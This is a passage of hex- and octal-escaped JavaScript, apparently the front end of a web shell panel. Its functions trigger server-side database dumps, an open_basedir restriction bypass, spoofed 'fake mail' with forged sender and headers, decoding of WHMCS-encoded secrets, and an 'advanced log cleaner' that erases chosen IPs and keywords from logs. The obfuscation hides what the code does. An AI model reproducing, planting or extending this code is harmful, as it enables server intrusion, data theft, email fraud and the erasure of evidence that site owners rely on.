163\x74\x79\x6c\145\75\x22\155\141\162\x67\151\x6e\x2d\164\157\x70\x3a\60\x2e\x35\162\x65\155\x3b\x22\x3e\xf0\237\223\x8b\40\x43\x6f\x70\x79\x20\104\165\155\160\x3c\57\x62\165\164\x74\157\156\x3e\140\x3b\12\11\11\x9\x9\11\162\145\x73\x75\x6c\164\x73\x45\154\x2e\x69\x6e\x6e\145\162\x48\x54\x4d\114\40\x3d\x20\150\164\x6d\154\73\12\11\11\11\11\x7d\12\x9\x9\11\x9\x74\150\x69\x73\x2e\164\157\x61\163\164\x28\140\104\x75\x6d\x70\x65\144\x20\x24\x7b\162\x65\163\56\x74\x61\x62\154\145\x73\175\x20\x74\141\x62\x6c\145\x28\163\x29\x60\x2c\40\x27\163\165\x63\143\x65\163\163\47\51\73\12\x9\11\11\x7d\x20\145\154\163\145\x20\x7b\12\x9\x9\x9\11\151\x66\x20\50\x72\145\163\x75\154\164\x73\x45\154\x29\x20\x7b\12\x9\11\11\11\x9\162\145\163\165\x6c\x74\x73\105\x6c\56\x69\x6e\156\145\162\x48\x54\x4d\114\x20\x3d\40\140\74\x70\x20\163\x74\171\x6c\145\75\x22\143\157\x6c\157\162\72\166\141\162\50\x2d\x2d\x61\x63\x63\145\156\x74\x2d\162\x65\144\51\x3b\x22\x3e\xe2\235\214\x20\x24\173\162\145\x73\77\x2e\155\x65\x73\x73\141\147\x65\x20\x7c\174\x20\x27\104\x75\x6d\160\x20\146\141\x69\154\x65\144\56\47\x7d\x3c\x2f\x70\x3e\x60\x3b\xa\x9\11\11\x9\175\xa\x9\11\x9\11\x74\x68\151\163\56\x74\157\x61\x73\x74\50\162\145\x73\x3f\56\x6d\145\x73\x73\x61\x67\x65\40\174\x7c\x20\x27\x44\x75\155\160\40\146\x61\x69\x6c\x65\144\x2e\47\x2c\40\47\x65\x72\x72\x6f\x72\47\51\73\12\x9\x9\11\175\12\11\x9\x7d\54\xa\11\x9\xa\11\11\x2f\x2f\40\x4f\x70\145\x6e\x20\102\141\163\x65\104\151\x72\40\102\171\160\x61\x73\163\xa\x9\11\141\163\171\156\x63\40\157\160\145\x6e\102\x61\163\x65\144\151\x72\102\x79\160\x61\163\163\x28\51\x20\x7b\12\11\11\x9\x63\157\156\163\x74\40\x72\145\163\165\154\x74\163\x45\x6c\x20\75\x20\x64\x6f\143\165\155\145\x6e\x74\56\x67\x65\164\105\154\145\155\x65\156\164\102\x79\x49\144\x28\x27\x62\x61\163\x65\144\151\x72\x2d\x72\145\x73\x75\x6c\164\163\x27\x29\x3b\12\x9\x9\11\x69\146\40\50\162\x65\163\x75\154\x74\163\x45\x6c\x29\40\x72\x65\x73\x75\x6c\x74\x73\105\154\56\x69\x6e\x6e\145\x72\110\124\115\114\x20\x3d\x20\47\74\160\x20\163\x74\171\x6c\x65\75\42\143\157\x6c\157\x72\x3a\x76\x61\162\50\55\55\x61\143\x63\x65\x6e\x74\55\147\x6f\154\x64\x29\73\42\x3e\107\145\156\x65\x72\x61\164\151\156\147\x20\142\x79\160\141\x73\x73\40\x6d\145\x74\150\x6f\144\163\x2e\56\x2e\x3c\57\160\76\x27\73\12\11\11\x9\12\x9\x9\x9\143\157\x6e\163\164\x20\162\x65\163\40\75\x20\141\167\141\x69\164\x20\164\150\x69\x73\56\141\160\x69\x28\x27\x6f\x70\x65\x6e\137\142\x61\x73\145\144\x69\162\x5f\x62\171\x70\x61\163\x73\x27\54\x20\x7b\x7d\x29\73\12\x9\11\11\xa\11\11\x9\x69\146\40\50\x72\145\163\40\46\x26\x20\162\145\163\56\x73\x74\141\164\165\x73\x20\x3d\x3d\75\x20\47\x73\x75\143\x63\x65\163\163\47\x29\40\x7b\xa\x9\x9\11\11\x63\x6f\156\x73\164\40\155\x65\x74\x68\x6f\144\x73\40\75\x20\x72\145\163\56\x6d\x65\164\150\157\x64\163\40\x7c\x7c\x20\x5b\x5d\x3b\12\11\11\x9\11\151\146\x20\50\162\145\163\x75\154\164\163\x45\154\51\40\173\xa\11\11\x9\x9\11\154\x65\x74\40\x68\164\x6d\154\x20\x3d\40\x27\x3c\x64\x69\166\40\x73\x74\171\154\145\75\42\144\151\x73\x70\154\x61\x79\72\146\x6c\145\x78\73\x20\x66\x6c\x65\x78\x2d\144\x69\162\x65\x63\164\x69\157\156\72\x63\x6f\x6c\x75\x6d\156\73\x20\147\x61\x70\x3a\x31\x72\145\155\x3b\x22\76\47\73\xa\x9\x9\11\x9\11\x6d\145\x74\x68\x6f\144\x73\56\146\157\162\105\141\x63\150\x28\x6d\145\x74\x68\x6f\144\40\75\x3e\40\173\xa\11\x9\x9\x9\x9\x9\x68\164\155\x6c\x20\x2b\75\x20\140\74\144\151\x76\x20\163\x74\x79\154\145\75\x22\160\x61\x64\144\151\156\x67\72\x31\65\160\x78\x3b\x20\142\141\143\153\147\162\157\165\x6e\x64\x3a\166\x61\x72\50\x2d\55\x62\x67\x2d\x6c\151\147\150\x74\x29\x3b\x20\x62\157\162\144\145\162\55\x72\x61\144\151\165\x73\72\66\160\170\73\x22\76\xa\x9\11\x9\x9\x9\11\x9\x3c\150\x34\40\163\164\171\x6c\x65\x3d\x22\x6d\141\x72\x67\x69\156\55\x74\x6f\160\72\x30\x3b\x20\x63\157\x6c\x6f\162\72\166\x61\x72\50\x2d\55\x61\x63\x63\145\x6e\164\55\x62\154\165\145\51\73\42\x3e\x24\x7b\x74\150\151\x73\x2e\x65\163\143\x61\x70\145\110\164\x6d\154\50\x6d\x65\164\150\157\x64\x2e\x6d\145\x74\x68\157\144\51\175\74\57\150\x34\x3e\12\11\11\11\x9\x9\x9\11\74\x70\162\145\x20\x63\154\x61\163\163\x3d\x22\157\165\x74\x70\165\x74\55\142\157\x78\x22\40\163\164\171\154\x65\x3d\x22\x6d\x61\170\x2d\x68\x65\x69\147\x68\164\72\62\60\x30\x70\170\73\x20\x6f\x76\145\162\146\154\x6f\x77\55\x79\x3a\141\165\x74\x6f\x3b\42\x3e\x24\173\164\150\151\163\x2e\145\x73\143\x61\x70\x65\110\x74\x6d\154\50\x6d\145\164\150\157\x64\56\x63\157\144\x65\x29\x7d\74\x2f\160\x72\x65\x3e\xa\11\x9\x9\x9\x9\11\11\x3c\142\165\x74\x74\x6f\156\x20\157\156\x63\154\151\143\153\75\42\156\x61\166\151\147\x61\164\157\x72\x2e\143\x6c\151\160\142\x6f\141\162\144\56\167\162\151\164\145\x54\145\170\x74\50\x74\x68\151\x73\x2e\x70\162\145\166\151\157\x75\163\x45\154\145\155\x65\x6e\x74\x53\151\x62\x6c\151\156\147\56\x74\x65\x78\164\103\x6f\x6e\x74\145\x6e\164\51\x22\x20\x73\x74\x79\154\145\x3d\x22\155\x61\x72\147\x69\x6e\55\164\157\x70\72\60\56\x35\x72\145\155\73\42\76\360\237\x93\x8b\x20\103\157\160\171\x20\x43\157\144\x65\74\x2f\142\165\x74\x74\157\x6e\76\xa\x9\x9\x9\11\x9\11\x3c\57\x64\151\x76\76\140\x3b\xa\x9\11\11\x9\x9\175\x29\73\xa\11\11\x9\11\x9\x68\164\155\154\40\53\75\x20\x27\74\x2f\144\x69\x76\76\47\73\12\x9\x9\11\x9\x9\162\145\163\x75\x6c\x74\163\x45\154\x2e\x69\x6e\156\145\162\x48\x54\115\x4c\x20\x3d\40\150\x74\155\154\73\xa\x9\11\11\11\x7d\xa\11\11\x9\x9\x74\150\x69\x73\56\x74\x6f\x61\x73\164\50\47\x42\x79\160\x61\x73\163\40\x6d\x65\x74\150\157\x64\x73\40\147\145\156\x65\x72\x61\x74\145\x64\41\47\x2c\x20\x27\x73\x75\143\143\145\x73\x73\47\51\73\12\x9\x9\11\x7d\x20\145\x6c\x73\145\40\x7b\12\11\11\x9\x9\151\146\40\50\x72\x65\x73\165\x6c\164\x73\105\154\x29\40\173\xa\11\x9\x9\11\11\162\145\163\165\x6c\164\x73\105\154\56\151\156\x6e\145\162\x48\x54\115\114\40\75\40\140\74\x70\40\x73\x74\171\x6c\145\x3d\x22\143\x6f\154\x6f\x72\72\x76\x61\162\x28\55\55\x61\x63\x63\145\156\164\x2d\x72\x65\x64\51\73\42\x3e\342\x9d\214\x20\44\x7b\x72\145\163\77\56\155\x65\163\163\x61\x67\145\x20\174\x7c\x20\x27\x46\141\x69\x6c\x65\x64\56\x27\x7d\74\x2f\x70\x3e\140\73\12\x9\x9\11\11\x7d\12\x9\x9\x9\x9\x74\150\151\163\x2e\164\157\141\163\164\x28\162\x65\x73\x3f\x2e\x6d\145\x73\x73\x61\147\145\x20\x7c\x7c\40\47\x46\141\151\x6c\145\144\x2e\47\x2c\x20\47\x65\x72\x72\157\162\47\x29\73\xa\x9\11\11\175\xa\x9\x9\175\x2c\12\x9\x9\xa\x9\11\57\x2f\x20\x46\141\153\145\40\115\x61\x69\154\12\x9\x9\x61\163\171\156\x63\x20\146\141\x6b\x65\x4d\x61\x69\154\50\x29\40\173\xa\11\x9\11\143\157\x6e\163\x74\x20\x74\157\40\x3d\40\144\x6f\143\165\155\x65\x6e\x74\56\147\x65\164\105\154\145\155\x65\x6e\164\102\x79\x49\144\x28\47\x66\x61\153\x65\55\x6d\x61\x69\x6c\55\164\157\x27\51\77\56\x76\141\154\165\145\73\xa\x9\x9\11\x63\157\x6e\163\x74\40\146\x72\x6f\x6d\x20\75\x20\x64\x6f\x63\165\155\145\156\164\x2e\147\145\164\105\x6c\x65\x6d\145\x6e\x74\102\x79\x49\x64\50\47\146\x61\x6b\x65\55\155\x61\x69\154\55\146\162\x6f\155\47\51\77\x2e\166\x61\x6c\165\145\x3b\xa\x9\11\x9\143\157\156\163\x74\40\163\x75\x62\x6a\145\143\x74\x20\75\40\x64\x6f\x63\165\x6d\x65\x6e\164\56\147\x65\x74\105\154\x65\x6d\x65\x6e\x74\x42\171\x49\x64\x28\47\x66\141\153\145\55\x6d\x61\x69\x6c\x2d\x73\x75\x62\x6a\145\143\164\47\51\x3f\x2e\166\141\154\x75\x65\x3b\12\11\x9\11\143\x6f\x6e\163\164\x20\x6d\145\163\163\x61\147\145\40\75\40\144\x6f\x63\165\155\x65\156\164\56\x67\x65\164\x45\154\x65\155\145\156\164\x42\171\x49\x64\x28\x27\146\x61\153\145\55\155\141\x69\x6c\x2d\x6d\145\163\x73\x61\x67\145\x27\x29\77\56\x76\141\154\165\145\x3b\12\11\11\x9\143\157\156\163\164\x20\150\x65\x61\144\x65\162\163\x20\x3d\40\x64\157\143\x75\x6d\x65\156\x74\x2e\x67\x65\x74\x45\x6c\145\x6d\145\x6e\164\102\171\x49\144\x28\x27\x66\141\x6b\145\55\155\x61\151\154\x2d\x68\145\141\144\145\x72\163\x27\x29\x3f\56\166\x61\154\165\x65\x3b\xa\x9\11\x9\12\11\x9\x9\x69\x66\40\x28\x21\164\x6f\x20\x7c\x7c\40\41\146\162\157\x6d\40\x7c\174\x20\x21\163\165\142\x6a\145\143\x74\40\174\174\40\x21\155\x65\163\163\x61\147\x65\51\x20\x7b\xa\11\x9\x9\x9\162\145\x74\x75\162\156\40\164\150\151\163\56\x74\157\x61\163\164\x28\47\x54\157\54\40\106\x72\157\x6d\x2c\x20\x53\165\x62\x6a\x65\x63\x74\x2c\x20\141\156\x64\40\115\x65\163\163\141\147\x65\40\x61\x72\145\40\162\145\x71\165\x69\x72\145\144\x2e\47\x2c\x20\47\145\162\162\x6f\x72\47\51\x3b\xa\x9\x9\11\x7d\xa\x9\x9\11\12\11\x9\11\143\x6f\x6e\163\x74\x20\143\157\156\x66\151\x72\x6d\145\x64\40\x3d\40\141\167\141\151\164\40\x74\x68\151\163\x2e\163\x68\157\x77\103\x6f\156\x66\x69\162\155\115\157\144\x61\x6c\50\x60\123\145\x6e\x64\x20\x65\155\141\x69\154\40\x74\x6f\40\74\163\x74\162\x6f\x6e\147\76\x24\x7b\164\x6f\175\74\57\163\164\162\x6f\156\x67\76\77\140\x2c\40\x7b\x20\x74\171\x70\145\72\x20\x27\x71\165\145\163\x74\x69\157\x6e\47\x20\x7d\51\73\40\x69\x66\40\50\41\x63\x6f\156\x66\x69\162\x6d\x65\x64\x29\x20\173\12\11\x9\x9\11\162\x65\x74\165\162\x6e\73\12\11\x9\11\x7d\12\11\x9\x9\12\x9\x9\11\x63\x6f\156\163\164\40\162\145\163\x75\154\x74\163\x45\x6c\x20\x3d\x20\x64\157\x63\165\x6d\145\156\x74\56\147\x65\164\x45\x6c\x65\155\145\156\x74\102\x79\111\x64\50\47\146\141\x6b\145\x2d\155\141\x69\154\x2d\162\x65\163\x75\154\164\x73\47\51\73\12\x9\11\x9\x69\146\40\x28\x72\145\x73\x75\x6c\x74\163\x45\x6c\51\40\x72\x65\163\165\154\x74\x73\x45\154\x2e\151\156\156\x65\x72\x48\x54\x4d\114\x20\x3d\40\47\74\160\40\x73\164\171\154\x65\75\x22\143\x6f\x6c\157\162\x3a\166\x61\x72\50\55\55\141\143\143\x65\156\164\x2d\x67\157\154\144\51\x3b\x22\x3e\123\145\156\144\x69\156\x67\x20\x65\155\141\151\154\x2e\x2e\56\74\x2f\160\x3e\x27\x3b\12\x9\11\11\xa\11\11\11\x63\157\x6e\x73\x74\x20\x72\x65\x73\40\x3d\x20\141\167\x61\x69\164\x20\164\150\x69\x73\56\x61\160\x69\50\x27\146\141\153\x65\x5f\x6d\x61\x69\x6c\x27\x2c\x20\173\40\164\x6f\x2c\40\146\x72\x6f\x6d\x2c\40\x73\165\142\x6a\x65\x63\x74\x2c\40\x6d\x65\163\163\x61\x67\x65\54\x20\x68\145\x61\x64\145\x72\x73\x20\175\x29\73\xa\11\x9\11\12\11\x9\11\x69\x66\40\50\162\x65\163\40\46\x26\x20\x72\x65\x73\56\x73\x74\x61\164\165\163\x20\x3d\75\75\x20\x27\x73\x75\x63\x63\x65\x73\163\x27\x29\x20\173\xa\x9\11\11\x9\151\146\x20\x28\162\x65\x73\165\x6c\164\163\x45\154\51\x20\173\xa\11\11\x9\x9\x9\x72\145\x73\x75\154\164\163\x45\x6c\x2e\x69\x6e\156\145\x72\x48\x54\x4d\x4c\x20\x3d\x20\x60\74\144\151\166\40\163\x74\x79\154\145\75\x22\160\141\144\x64\151\156\x67\72\x31\x35\160\x78\73\x20\x62\x61\x63\x6b\147\x72\157\x75\156\144\x3a\166\141\x72\50\55\55\x62\147\55\x6c\151\x67\x68\x74\51\x3b\x20\142\157\162\144\x65\x72\x2d\x72\x61\x64\151\x75\163\x3a\66\160\170\x3b\42\x3e\12\11\x9\11\x9\x9\x9\74\150\64\40\x73\x74\x79\x6c\x65\75\x22\155\x61\162\x67\x69\x6e\55\164\x6f\x70\x3a\60\73\x20\143\x6f\x6c\x6f\162\72\x76\141\x72\x28\x2d\55\141\143\x63\145\x6e\x74\x2d\x67\162\x65\145\156\51\x3b\42\x3e\xe2\234\205\x20\x45\155\x61\x69\x6c\x20\x53\x65\x6e\x74\x21\74\x2f\x68\x34\x3e\12\x9\11\11\x9\11\11\x3c\160\76\105\155\141\x69\x6c\x20\x73\145\156\164\x20\x73\x75\143\143\145\x73\163\x66\x75\154\x6c\x79\x20\x74\x6f\x20\44\x7b\x74\150\x69\x73\x2e\145\163\x63\x61\160\145\110\164\x6d\x6c\50\x74\157\x29\175\x3c\57\160\x3e\12\x9\x9\x9\11\x9\x3c\57\144\x69\x76\76\x60\73\12\11\x9\x9\x9\175\12\11\x9\11\11\x74\x68\151\x73\x2e\x74\x6f\x61\163\x74\50\x27\x45\155\x61\x69\154\x20\163\x65\156\x74\40\x73\x75\143\x63\x65\163\x73\146\165\154\154\171\41\47\x2c\x20\x27\163\x75\143\x63\145\x73\163\x27\x29\x3b\xa\11\11\11\175\40\x65\x6c\x73\x65\x20\173\12\11\11\11\11\151\146\40\x28\x72\x65\x73\x75\x6c\x74\163\105\x6c\x29\x20\x7b\12\11\x9\11\x9\11\162\145\x73\x75\x6c\164\x73\x45\154\56\x69\x6e\156\145\162\110\x54\x4d\114\40\x3d\x20\140\74\160\x20\x73\164\171\154\145\75\x22\143\x6f\x6c\157\x72\72\x76\x61\162\x28\x2d\55\141\x63\143\145\156\x74\x2d\162\145\144\51\73\42\76\xe2\x9d\214\40\44\173\x72\145\x73\x3f\x2e\155\x65\163\x73\141\x67\x65\x20\174\x7c\40\47\106\x61\151\154\x65\144\x20\164\157\x20\163\145\156\144\40\x65\155\141\x69\154\x2e\47\x7d\x3c\x2f\160\76\140\73\12\11\11\x9\11\175\xa\x9\11\x9\11\x74\x68\x69\163\x2e\164\157\x61\163\164\x28\162\x65\163\x3f\56\155\145\x73\163\x61\147\x65\40\x7c\174\x20\47\106\x61\151\x6c\145\x64\x20\x74\x6f\40\x73\145\x6e\144\40\x65\x6d\x61\x69\x6c\56\47\x2c\40\47\145\x72\x72\x6f\162\47\x29\x3b\12\11\11\x9\175\xa\11\11\175\54\12\11\x9\12\11\11\x2f\x2f\40\127\x48\x4d\103\123\40\x44\x65\143\x6f\x64\x65\x72\12\11\11\x61\x73\x79\x6e\143\40\x77\x68\x6d\143\163\x44\145\143\157\144\x65\x72\x28\x29\40\173\xa\x9\x9\x9\x63\x6f\x6e\163\164\40\x65\156\x63\157\144\145\x64\40\75\40\144\157\143\x75\155\x65\156\x74\56\147\145\164\105\154\145\x6d\x65\156\x74\x42\171\x49\x64\50\x27\x77\150\x6d\x63\163\x2d\x65\x6e\143\157\x64\x65\x64\47\x29\77\56\x76\141\x6c\x75\145\73\12\x9\x9\11\12\x9\11\x9\151\146\40\50\41\145\156\x63\157\144\x65\x64\x29\x20\x7b\xa\11\x9\11\11\x72\x65\x74\165\x72\156\x20\164\x68\x69\x73\x2e\x74\x6f\141\x73\164\50\47\105\x6e\143\157\x64\145\144\40\163\164\162\151\x6e\x67\40\151\163\40\x72\x65\161\165\x69\x72\145\x64\x2e\47\x2c\40\x27\x65\x72\162\x6f\162\x27\51\x3b\xa\x9\x9\11\x7d\12\x9\11\11\12\11\11\11\143\x6f\x6e\163\x74\x20\x72\145\x73\165\x6c\x74\x73\x45\154\40\x3d\40\x64\x6f\x63\x75\155\145\x6e\164\x2e\147\x65\x74\x45\x6c\145\x6d\145\156\164\x42\171\x49\x64\x28\47\x77\x68\155\143\163\x2d\162\145\163\x75\x6c\164\x73\47\x29\x3b\xa\x9\11\11\x69\x66\x20\50\x72\145\163\x75\x6c\164\x73\x45\x6c\x29\40\x72\x65\163\165\154\x74\163\105\154\56\151\156\x6e\145\162\110\124\x4d\114\40\x3d\40\47\74\x70\x20\163\164\171\x6c\145\75\x22\x63\x6f\154\157\x72\x3a\x76\x61\162\50\x2d\x2d\141\x63\143\145\x6e\164\55\147\x6f\154\144\51\x3b\42\x3e\104\x65\143\157\144\151\x6e\x67\x2e\56\x2e\74\x2f\x70\x3e\x27\x3b\xa\11\x9\x9\xa\11\x9\11\x63\x6f\156\x73\x74\x20\x72\x65\x73\x20\75\x20\141\167\x61\x69\x74\x20\164\x68\151\163\x2e\141\160\x69\50\x27\x77\x68\x6d\143\x73\137\144\145\x63\157\144\145\162\x27\x2c\40\173\x20\x65\156\143\x6f\144\x65\144\40\175\x29\x3b\12\x9\x9\x9\xa\x9\11\x9\151\x66\40\50\162\x65\x73\x20\46\46\x20\162\x65\x73\56\x73\164\141\164\165\163\x20\x3d\75\75\40\47\x73\165\143\143\145\163\x73\x27\x29\40\173\12\11\11\11\11\151\146\40\50\x72\145\x73\165\x6c\x74\x73\105\154\51\40\x7b\12\x9\11\11\11\11\154\x65\164\40\x68\164\x6d\x6c\x20\75\40\140\x3c\x64\x69\166\40\163\x74\x79\154\145\75\x22\x70\x61\144\x64\x69\x6e\x67\x3a\x31\x30\x70\x78\73\40\x62\141\143\x6b\147\x72\x6f\x75\x6e\x64\x3a\166\x61\x72\x28\55\55\142\x67\55\154\151\x67\x68\164\x29\x3b\x20\x62\157\x72\x64\145\x72\55\x72\141\x64\151\x75\x73\72\66\160\x78\73\x20\155\141\x72\147\151\x6e\x2d\x62\x6f\164\164\157\155\72\x31\162\x65\155\x3b\42\76\xa\x9\11\x9\11\x9\x9\74\163\164\162\x6f\x6e\147\76\104\x65\143\x6f\144\x65\x64\x3a\74\57\163\164\x72\x6f\156\147\76\12\11\11\x9\x9\x9\x3c\x2f\x64\151\x76\x3e\12\x9\11\x9\x9\11\x3c\160\x72\145\40\x63\x6c\141\x73\163\75\x22\x6f\x75\164\x70\165\x74\55\x62\x6f\x78\42\x20\163\x74\171\154\x65\75\x22\x6d\x61\x78\x2d\150\x65\151\x67\150\164\x3a\64\60\x30\160\170\73\x20\x6f\x76\x65\x72\146\154\x6f\x77\55\171\x3a\141\x75\164\x6f\x3b\x22\x3e\x24\173\x74\150\151\x73\56\x65\163\143\x61\160\x65\x48\x74\x6d\x6c\x28\x72\145\x73\56\x64\x65\143\157\144\x65\144\x29\175\74\x2f\x70\x72\145\76\12\x9\11\x9\11\11\x3c\x62\165\164\164\157\x6e\40\x6f\x6e\143\x6c\151\x63\x6b\75\42\156\141\x76\x69\x67\x61\x74\x6f\162\56\x63\x6c\x69\160\x62\157\x61\162\x64\x2e\x77\x72\x69\x74\x65\x54\x65\x78\164\x28\164\150\151\163\x2e\x70\162\145\x76\151\x6f\165\163\x45\x6c\145\155\x65\156\x74\x53\x69\142\x6c\151\x6e\147\56\x74\x65\x78\x74\103\x6f\x6e\164\x65\156\164\x29\x22\x20\163\164\171\x6c\145\75\x22\x6d\141\x72\x67\x69\x6e\55\164\157\160\x3a\60\x2e\x35\162\x65\155\73\x22\x3e\xf0\237\x93\213\x20\103\157\x70\171\x3c\57\142\165\164\164\157\x6e\76\x60\x3b\12\11\x9\x9\x9\11\162\x65\163\x75\x6c\x74\163\105\x6c\56\151\x6e\x6e\x65\162\110\x54\x4d\114\x20\75\x20\x68\x74\155\x6c\x3b\xa\x9\x9\11\11\175\xa\11\x9\11\x9\164\x68\x69\163\56\x74\x6f\141\163\164\50\x27\104\x65\x63\x6f\x64\145\x64\40\x73\x75\x63\x63\x65\x73\x73\146\165\154\x6c\171\41\x27\x2c\x20\47\163\165\143\143\145\x73\x73\x27\51\x3b\12\11\x9\11\175\x20\145\x6c\163\x65\x20\x7b\xa\x9\x9\11\x9\151\146\x20\50\162\x65\x73\x75\154\164\163\105\x6c\x29\40\173\xa\11\x9\11\x9\11\162\x65\x73\x75\154\x74\x73\105\x6c\56\x69\156\x6e\145\162\110\124\x4d\114\40\75\x20\x60\74\x70\x20\x73\164\x79\x6c\145\x3d\42\143\157\154\x6f\162\72\x76\141\162\x28\55\55\141\143\x63\145\x6e\x74\55\x72\x65\144\51\x3b\42\76\xe2\x9d\214\40\x24\173\162\x65\163\77\56\155\x65\x73\163\x61\x67\x65\x20\x7c\174\x20\x27\x44\145\x63\x6f\x64\145\x20\x66\141\x69\x6c\145\x64\56\47\x7d\74\57\x70\x3e\140\73\xa\11\x9\x9\x9\x7d\12\x9\11\11\11\164\x68\x69\x73\56\164\157\x61\163\164\x28\x72\145\x73\x3f\56\155\x65\163\x73\x61\x67\145\40\174\174\x20\47\x44\x65\143\157\x64\x65\x20\146\x61\151\x6c\x65\x64\56\x27\x2c\40\x27\145\162\x72\157\x72\47\x29\x3b\12\11\x9\x9\175\xa\11\x9\x7d\x2c\xa\11\11\12\x9\x9\x2f\57\40\101\x64\x76\x61\156\x63\x65\x64\x20\x4c\x6f\x67\x20\x43\x6c\x65\x61\156\145\162\xa\11\x9\x61\x73\x79\x6e\x63\x20\x61\x64\166\141\x6e\x63\x65\x64\114\157\147\x43\x6c\145\x61\x6e\145\x72\50\x29\x20\x7b\xa\11\11\x9\x63\157\156\163\x74\x20\x6c\157\147\x50\x61\x74\x68\163\40\x3d\x20\x64\x6f\x63\x75\x6d\145\x6e\164\x2e\147\145\x74\x45\x6c\x65\155\145\156\164\102\171\x49\x64\50\47\x61\144\x76\141\x6e\x63\145\144\x2d\154\x6f\147\55\160\x61\164\150\163\47\51\x3f\56\166\141\154\x75\145\40\x7c\174\x20\47\47\73\xa\11\x9\11\x63\x6f\x6e\x73\x74\x20\153\145\171\167\157\162\144\163\40\x3d\x20\144\x6f\x63\x75\x6d\145\156\x74\56\x67\145\x74\105\154\x65\155\145\x6e\x74\x42\171\x49\x64\x28\47\x61\144\166\x61\x6e\143\145\144\x2d\x6c\x6f\x67\x2d\153\x65\171\x77\157\162\144\x73\47\x29\77\x2e\166\141\154\165\145\40\174\174\x20\47\47\73\12\x9\x9\x9\143\x6f\156\163\164\40\x62\141\x63\153\x75\160\40\x3d\x20\144\157\x63\165\155\x65\156\164\x2e\147\x65\164\x45\x6c\145\155\x65\156\x74\102\x79\x49\x64\x28\47\x61\144\x76\141\x6e\143\145\x64\55\x6c\x6f\x67\55\142\141\143\153\165\160\47\x29\77\56\x63\150\145\143\153\145\x64\x20\174\x7c\40\146\141\x6c\x73\145\x3b\12\11\11\11\12\11\x9\x9\x69\x66\40\x28\x21\x6b\145\171\167\157\162\x64\x73\x2e\164\x72\151\x6d\x28\x29\x29\40\173\12\11\11\x9\x9\x74\150\x69\x73\56\x74\x6f\141\x73\x74\x28\47\120\x6c\x65\141\163\x65\40\145\156\x74\x65\x72\x20\x6b\x65\x79\x77\157\x72\x64\x73\x2f\x49\120\x73\x20\x74\157\40\162\x65\155\157\166\x65\x2e\47\54\x20\47\x65\162\162\x6f\162\x27\x29\73\xa\11\11\x9\11\x72\x65\164\x75\162\156\x3b\12\x9\11\11\175\12\11\11\11\xa\x9\x9\x9\143\x6f\x6e\x73\164\x20\x72\145\x73\x75\154\x74\163\x45\x6c\x20\75\40\x64\x6f\143\x75\155\145\x6e\164\x2e\x67\x65\x74\105\x6c\145\155\145\x6e\x74\x42\171\111\x64\x28\x27\x61\144\x76\x61\x6e\143\145\144\55\x6c\x6f\x67\x2d\x63\x6c\x65\x61\156\145\x72\x2d\162\145\x73\x75\154\x74\163\47\x29\x3b\12\x9\11\11\x69\x66\40\x28\x72\145\x73\x75\154\x74\163\x45\x6c\51\x20\162\145\163\165\x6c\x74\x73\x45\x6c\56\x69\156\x6e\145\162\x48\x54\x4d\x4c\x20\x3d\x20\x27\x3c\160\x20\163\164\x79\x6c\x65\75\42\143\157\x6c\x6f\x72\x3a\x76\141\162\x28\55\55\x61\143\x63\x65\x6e\164\x2d\147\157\x6c\144\x29\73\42\x3e\103\154\145\141\156\151\x6e\x67\x20\x6c\x6f\147\163\56\x2e\x2e\x3c\x2f\160\76\47\73\xa\11\11\x9\xa\11\11\11\x63\x6f\156\163\164\40\162\x65\x73\x20\75\40\141\167\x61\x69\x74\40\164\150\x69\163\56\141\x70\x69\x28\x27\141\144\x76\x61\x6e\143\x65\144\137\x6c\157\147\137\143\x6c\145\x61\x6e\x65\162\47\54\x20\x7b\40\x6c\157\147\137\x70\141\x74\x68\163\72\x20\x6c\x6f\x67\120\141\164\x68\163\x2c\40\x6b\145\x79\x77\x6f\162\x64\163\72\x20\x6b\145\171\167\157\162\144\163\x2c\x20\x62\x61\143\x6b\165\160\x3a\40\x62\141\x63\153\x75\160\x20\x7d\x29\x3b\12\11\x9\x9\12\11\x9\x9\151\x66\x20\x28\x72\145\163\x20\x26\46\x20\x72\x65\163\x2e\163\x74\141\164\x75\163\x20\x3d\75\75\40\47\163\x75\143\143\x65\163\x73\47\51\40\x7b\xa\x9\x9\x9\x9\x6c\145\164\40\150\x74\x6d\x6c\40\75\40\x60\x3c\144\x69\166\40\163\x74\x79\154\145\75\x22\x70\141\144\x64\151\156\147\72\x31\65\x70\x78\73\40\142\x61\x63\153\147\162\157\x75\x6e\x64\72\166\x61\162\x28\x2d\55\x62\x67\55\x6c\151\x67\x68\164\51\x3b\x20\x62\x6f\x72\144\145\x72\55\x72\141\144\x69\x75\x73\72\66\160\x78\73\40\x6d\141\162\x67\x69\x6e\x2d\x62\x6f\x74\x74\x6f\155\x3a\61\162\145\155\x3b\x22\76\xa\11\11\11\11\x9\74\163\x74\x72\157\156\147\x3e\xe2\x9c\x85\x20\103\x6c\145\141\x6e\x65\144\40\44\173\x72\x65\x73\56\x74\157\x74\x61\x6c\137\x63\x6c\145\141\x6e\x65\x64\x7d\x20\154\157\x67\40\x66\x69\154\145\x28\x73\51\74\x2f\x73\x74\162\x6f\x6e\147\x3e\12\x9\x9\x9\11\74\57\x64\x69\166\76\x60\x3b\12\11\11\x9\11\12\x9\x9\x9\x9\x69\146\x20\x28\x72\x65\x73\56\x63\154\145\x61\x6e\145\144\x20\x26\x26\x20\162\x65\x73\x2e\x63\x6c\145\141\x6e\145\x64\56\x6c\145\x6e\147\x74\x68\x20\76\x20\x30\x29\40\173\12\x9\11\11\x9\x9\x68\x74\x6d\x6c\40\53\x3d\40\47\74\150\x34\x3e\x43\154\x65\x61\156\x65\144\x20\x46\151\154\145\x73\72\74\x2f\150\64\x3e\47\73\12\x9\11\x9\11\x9\x72\x65\x73\56\x63\x6c\x65\x61\x6e\x65\144\56\x66\x6f\x72\105\141\143\x68\50\x69\x74\x65\x6d\x20\x3d\76\40\x7b\12\x9\11\x9\11\11\11\x68\x74\x6d\154\x20\53\75\x20\x60\x3c\x64\x69\x76\40\163\x74\171\154\145\75\x22\160\141\144\144\151\156\x67\72\61\60\x70\x78\73\x20\142\x61\143\x6b\147\162\157\165\x6e\144\72\166\141\x72\x28\x2d\x2d\142\x67\55\x64\141\x72\153\51\73\x20\142\157\162\144\145\162\x2d\x72\x61\x64\151\165\x73\72\66\x70\170\73\40\x6d\141\162\x67\151\x6e\55\142\157\x74\164\157\x6d\72\60\56\x35\162\x65\x6d\x3b\x22\76\12\11\x9\x9\x9\x9\x9\x9\74\x73\164\162\157\156\x67\76\x24\x7b\164\x68\x69\163\56\145\163\x63\x61\160\145\x48\x74\155\x6c\x28\x69\x74\x65\x6d\56\x70\141\x74\x68\51\